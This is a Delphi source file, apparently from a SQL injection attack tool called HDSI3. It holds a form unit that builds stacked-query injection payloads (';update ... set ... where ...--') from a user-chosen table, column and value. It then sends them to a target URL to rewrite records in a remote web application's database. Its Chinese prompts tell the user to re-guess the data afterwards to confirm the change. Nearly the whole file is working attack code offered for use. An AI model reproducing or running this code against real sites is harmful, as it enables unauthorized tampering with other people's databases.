unit_update.pas

sql inject HDSI3--delphi.rar

unit Unit_update;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm_update = class(TForm)
    Edit_table: TEdit;
    Button1: TButton;
    Label1: TLabel;
    Label2: TLabel;
    ComboBox_column: TComboBox;
    Edit_values: TEdit;
    Label3: TLabel;
    Edit_sql: TEdit;
    Button2: TButton;
    Label4: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form_update: TForm_update;

implementation

{$R *.dfm}
uses
  cjdatabase_unit,main_unit,nb_sqlScript;
procedure TForm_update.Button1Click(Sender: TObject);
var
  sqlstr:string;
  typestr:string;
  str_url:string;
  i:integer;
begin
     str_url:=trim(form_main.suiComboBox2_url.Text);
    if ComboBox_column.Text='' then
    begin
        Application.MessageBox(pchar('需要修改的字段不能为空'),pchar('提示'),mb_ok);
        exit;
    end;
    Edit_sql.Text:='';

    case cjdatabase_unit.Inject_methord of
    1:  sqlstr:=sqlstr+';update ';
    2:  sqlstr:=sqlstr+''';update ';
    end;

    for i:=1 to form_main.ListView_column.Items.Count do
    begin
        if form_main.ListView_column.Items[i-1].SubItems[0]= ComboBox_column.Text then
          typestr:=form_main.ListView_column.Items[i-1].SubItems[1];

    end;

    if typestr='int' then
      sqlstr:=sqlstr+Edit_table.Text+' set '+ComboBox_column.Text+'='+Edit_values.Text+' where '+ComboBox_column.Text+'='+ trim(string(ComboBox_column.Items.Objects[ComboBox_column.ItemIndex]))
    else
      sqlstr:=sqlstr+Edit_table.Text+' set '+ComboBox_column.Text+'='''+Edit_values.Text+''' where '+ComboBox_column.Text+'='''+ trim(string(ComboBox_column.Items.Objects[ComboBox_column.ItemIndex]))+'''';
 sqlstr:=sqlstr+'--';
 Edit_sql.Text:=sqlstr;
  nb_sqlScript.NbSqlCmd_Shell(str_url,Edit_sql.Text);
  Application.MessageBox(pchar('修改数据已经完成，请重新猜解数据检查记录是否正确更改'),pchar('提示'),mb_ok);

 
end;

procedure TForm_update.Button2Click(Sender: TObject);
begin
    close;
end;

end.